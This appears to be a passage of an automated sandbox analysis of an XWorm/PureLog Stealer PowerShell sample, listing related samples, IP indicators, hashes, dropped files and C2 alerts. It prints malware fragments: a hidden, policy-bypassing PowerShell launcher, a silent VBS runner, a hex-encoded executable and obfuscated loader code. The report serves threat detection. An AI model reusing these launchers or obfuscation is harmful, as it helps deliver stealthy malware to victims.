	eKgbSLP6z6.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
	jJqm9V8zJ9.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220
CLOUDFLARENETUS	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	172.67.74.152
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse	104.26.12.205
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	104.26.13.205
	PurchaseXOrderXPO16145.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	payload_1.vbs	Get hash	malicious	XWorm	Browse	104.26.12.205
	PurchaseXOrderXPO16145.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.dropbox.com/l/scl/AADyLw2rXknip-xl340QrjVvZFuSmG6MEbE	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse	172.67.74.152
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse	104.26.12.205
	PurchaseXOrderXPO16145.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
ASN-XTUDIONETES	84Z63SyEQ7.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	XClient.exe	Get hash	malicious	XWorm	Browse	191.96.207.180
	GvJxEfWyS1.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	7lFbTUxX9m.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	191.96.207.180
	lzsVg6vGuu.ps1	Get hash	malicious	PureLog Stealer, XWorm	Browse	191.96.207.180
	payload_1.vbs	Get hash	malicious	XWorm	Browse	191.96.207.180
	Commitment_for_Title_Insurance-660184790411.wsf	Get hash	malicious	XWorm	Browse	191.96.207.180
	file_5822aee2333945a68f99cf2cfdd0e024_2024-09-16_14_28_33_034000.zip	Get hash	malicious	Unknown	Browse	179.61.228.98
	mlnZfOifRX.elf	Get hash	malicious	Okiru	Browse	45.151.195.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	cFvDKWB1V8.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	670un9Ls5U.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	XeI2N4WyGz.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	payload_1.vbs	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	4zyQ690hFT.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	NxyRj26Cuc.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	ksQFeEiSrk.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	https://tiktok4.top/www/	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.12.205
	Ox980wdz11.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205
	eKgbSLP6z6.ps1	Get hash	malicious	XWorm	Browse	149.154.167.220 104.26.12.205

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.223744773916197
Encrypted:	false
SSDEEP:	3:mKDDNF/CuSNAJJFILuTNAy+CFdZkRE3WH5zXQEJXHnBFXX:hB01s86WCF8X5TQEtHnzH
MD5:	0876C0866FF104E1CEA58C3A8CE7C00C
SHA1:	F5DB743E203B5AD23A46E0FA58A3E58B8DFEEAD7
SHA-256:	434D5F5A3A796E0C6644C39C4C3F5CAE78F66E0A830C24C5D401288A0E92109A
SHA-512:	FF28B707E77E9849A6D9A9C1BDBF95AA0A773C3D00F3E9353C21CD6589F56649EED88AE59134F57CA40922743FE5B2DBF5B8B5AD3BCF93B13E35545C80B618D3
Malicious:	true
Reputation:	low
Preview:	@echo off ..cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Music\Visuals\VsLabsData.ps1"

C:\ProgramData\Music\Visuals\VsLabs.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.932254496693703
Encrypted:	false
SSDEEP:	3:9cNAWdgUdrpNvJA+eXjAJ3Em8nhdFEH8XZkRE3WH5zXQEJXyukfFjLAU2QIvm:9cNAWdgU1p9JReXjo3NqhdFu8GX5TQEy
MD5:	6B1D3687FE689EC1D149478BC8BB9DF9
SHA1:	CE533BB5C0C01A23183F25C43DD7CAFEE32D4DFB
SHA-256:	1DE54FE06E01EC6482104F63AE17C89CEC7866C51012FC5557230CCE01270A7E
SHA-512:	105E0D91E855EBB2B7BCE18B3B207F49FA9EAE2B1687BA4E41DB8E872F0CC422744CB0145E834D8E596130A167A3BD399C70576D6D205F699636E0A6FCC44A7B
Malicious:	true
Reputation:	low
Preview:	On Error Resume Next....Sub zjte.. Dim sbyjn.. Set sbyjn = CreateObject("WScript.Shell").. sbyjn.Run "C:\ProgramData\Music\Visuals\VsEnhance.bat", 0, True..End Sub..zjte

C:\ProgramData\Music\Visuals\VsLabsData.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65526), with CRLF line terminators
Category:	dropped
Size (bytes):	329783
Entropy (8bit):	3.1248255692674873
Encrypted:	false
SSDEEP:	3072:wL3D5WXtWVH44LhC8z60U4h3mShvTUfWwLC5ImBK5W9Fp81fABAUvetcTnZm:Q5W0H44LhC85TUOwqYyfbg
MD5:	7CEE317B8911C2BF3F013B44CAAC9E4E
SHA1:	91DAC8BCDC075A226D21292563C5DB084B826F80
SHA-256:	41F746CFBFC418CAEE659826B7FC4728E1347014EA5F0C840728B30BA31B3C8B
SHA-512:	42FE836BF246AF4BCC2259DDE43CFD29612CD6E320E87BD714C31D61FAF8F9322EFFBE99BB76E55DD92044DE6FAB8D6A8CB3D5122277B4F981A8534BFE92A601
Malicious:	true
Preview:	try..{....$cake = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_80_00_00_00_0E_1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73_20_70_72_6F_67_72_61_6D_20_63_61_6E_6E_6F_74_20_62_65_20_72_75_6E_20_69_6E_20_44_4F_53_20_6D_6F_64_65_2E_0D_0D_0A_24_00_00_00_00_00_00_00_50_45_00_00_4C_01_03_00_7A_CF_CB_66_00_00_00_00_00_00_00_00_E0_00_02_01_0B_01_0B_00_00_78_00_00_00_08_00_00_00_00_00_00_9E_97_00_00_00_20_00_00_00_A0_00_00_00_00_40_00_00_20_00_00_00_02_00_00_04_00_00_00_00_00_00_00_04_00_00_00_00_00_00_00_00_E0_00_00_00_02_00_00_00_00_00_00_02_00_40_85_00_00_10_00_00_10_00_00_00_00_10_00_00_10_00_00_00_00_00_00_10_00_00_00_00_00_00_00_00_00_00_00_44_97_00_00_57_00_00_00_00_A0_00_00_D8_04_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_C0_00_00_0C_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2/lh:NllUml
MD5:	91EBFA4DA67BFAFFBEDF4CDF8D979A56
SHA1:	0A84D1A045CC34CF72424BE6D5738D6C4E9C0F0B
SHA-256:	4FAE73F1696D2E632530D27F2E37C59EADB53D5C2BE2FEA1BA08F1412FB00481
SHA-512:	992BFEFCCC0E384A93AEF4A36F8E947340473E8920565F3D385E5A3E3CF1172A402E7E0619236BD492F6EF1E472C236235C5C909C08FEA7C9CFA6E5CF4EBF5BF
Malicious:	false
Preview:	@...e...............................g................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xo4tdqk.qnb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bmc2bprs.35j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fpkvfbep.1wb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o20obl4h.esc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ortsuiw1.iv2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u1e5mawz.hl0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.721499098159273
Encrypted:	false
SSDEEP:	96:S9XCTP8qkvhkvCCtqRiRWqLHPRiRWqTHPv:S9sPdqR0NR0Vv
MD5:	3B97E14E8FC9F9BEAAF22EBDFA446D08
SHA1:	700CA6FC8EB5144ABA5D249C95ADD07EACEA0436
SHA-256:	FD962D5F238E497ED2DF434DEA2DE628420D3129C56FFEE89EB8DE39CD7839CE
SHA-512:	15CC916DD51ADC902D5FA3DBBA6BB73DB650A86942718EFBECFFFE961D39F706708FB6CB4D78E86CF840F6096FDCF589EFBB8108A6CD4FFFFBF7F2B0ABE7CB70
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd..........z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...M.m................t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B8Y............................d...A.p.p.D.a.t.a...B.V.1.....8Y....Roaming.@......EW)B8Y................................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B8Y.............................. .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B8Y.............................t..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B8Y......................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B8Y......................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B8Y.......0..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K8MQGTRYSWYCX9SYLRDS.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.721499098159273
Encrypted:	false
SSDEEP:	96:S9XCTP8qkvhkvCCtqRiRWqLHPRiRWqTHPv:S9sPdqR0NR0Vv
MD5:	3B97E14E8FC9F9BEAAF22EBDFA446D08
SHA1:	700CA6FC8EB5144ABA5D249C95ADD07EACEA0436
SHA-256:	FD962D5F238E497ED2DF434DEA2DE628420D3129C56FFEE89EB8DE39CD7839CE
SHA-512:	15CC916DD51ADC902D5FA3DBBA6BB73DB650A86942718EFBECFFFE961D39F706708FB6CB4D78E86CF840F6096FDCF589EFBB8108A6CD4FFFFBF7F2B0ABE7CB70
Malicious:	false
Preview:	...................................FL..................F.".. ......Yd..........z.:{.............................:..DG..Yr?.D..U..k0.&...&.......y.Yd...M.m................t...CFSF..1.....EW)B..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW)B8Y............................d...A.p.p.D.a.t.a...B.V.1.....8Y....Roaming.@......EW)B8Y................................R.o.a.m.i.n.g.....\.1.....EW.C..MICROS~1..D......EW)B8Y.............................. .M.i.c.r.o.s.o.f.t.....V.1.....EW.D..Windows.@......EW)B8Y.............................t..W.i.n.d.o.w.s.......1.....EW+B..STARTM~1..n......EW)B8Y......................D.....b60.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW(C..Programs..j......EW)B8Y......................@.......D.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW)BEW)B..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW)B8Y.......0..........

Static File Info

General

File type:	ASCII text, with very long lines (63774), with CRLF line terminators
Entropy (8bit):	3.2248041415162403
TrID:
File name:	LUYYSwStKN.ps1
File size:	334'221 bytes
MD5:	7e553f6792b09e28363c15010aab9c06
SHA1:	84fb99b35b92f9bf8f1468db6be571ad4c7164bd
SHA256:	046ef795e6a9e68203ad07963b6a828d5aff2f55ec57bb8c0ebd778ae594d1c4
SHA512:	2dc26927f35e37ab140d5e9196b783dc189abcac28fae030bc71ecd9b802ffe70580145331ad7f65c798c301dc1eb5cfd2e641405934ee132b9840bc63da0b5c
SSDEEP:	3072:gL3D5WXtWVH44LhC8z60U4h3mShvTUfWwLC5ImBK5W9Fp81fABAUvetcTnZ3:A5W0H44LhC85TUOwqYyfbR
TLSH:	B064C0858537FB85CC0228A61D2B39F078C86D5EA1F5C8F0AF3B9C1A26D50585FBDDA1
File Content Preview:	sET-iTem vaRiaBlE:a6p ( [type]("{2}{1}{0}" -f 'E','.Fil','IO') ); ${D} = ((("{2}{5}{4}{3}{0}{6}{1}" -f 'Datap','ualsp8P','C','ram','g',':p8PPro','8PMusicp8PVis'))-rEplAcE([CHar]112+[CHar]56+[CHar]80),[CHar]92)..

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-24T19:25:13.616506+0200	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:13.791487+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:13.918341+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:24.748235+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:24.749845+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:32.877958+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:32.877958+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:35.698559+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:35.700131+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:46.648279+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:46.650252+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:25:57.608120+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:25:57.610207+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:02.903691+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:02.903691+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:08.555372+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:08.556783+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:12.931936+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:12.934483+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.023117+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.024588+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.340092+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.341786+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:16.652649+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:16.656862+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:17.382669+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:17.384378+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.725945+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.728007+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.820231+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.821903+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:21.914188+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:21.915468+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:25.507814+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:25.514615+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:27.195134+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:27.196748+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:32.647413+0200	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:33.059013+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.063429+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:33.104163+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.104163+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.123572+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:33.123572+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:37.851584+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:37.853316+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:42.946290+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:42.951206+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:48.233757+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:48.235684+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:48.381584+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:48.387411+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.774369+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.780934+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.873439+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.875508+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:53.967825+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:53.969418+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
2024-09-24T19:26:58.946650+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	191.96.207.180	50000	192.168.2.8	49709	TCP
2024-09-24T19:26:58.948487+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49709	191.96.207.180	50000	TCP
